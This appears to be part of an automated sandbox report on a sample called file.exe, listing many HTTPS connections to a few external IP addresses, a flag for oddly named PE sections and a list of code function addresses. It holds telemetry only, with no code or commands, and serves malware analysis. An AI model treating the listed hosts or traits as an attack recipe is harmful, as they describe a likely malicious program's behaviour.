Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443

Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49967 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0033FF36	0_2_0033FF36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6B5EF	0_2_05E6B5EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6E5EC	0_2_05E6E5EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E82DE2	0_2_05E82DE2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6C5ED	0_2_05E6C5ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8EDE3	0_2_05E8EDE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E835CD	0_2_05E835CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA2DCD	0_2_05EA2DCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6EDCC	0_2_05E6EDCC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA75D7	0_2_05EA75D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9E5AB	0_2_05E9E5AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8C5BE	0_2_05E8C5BE
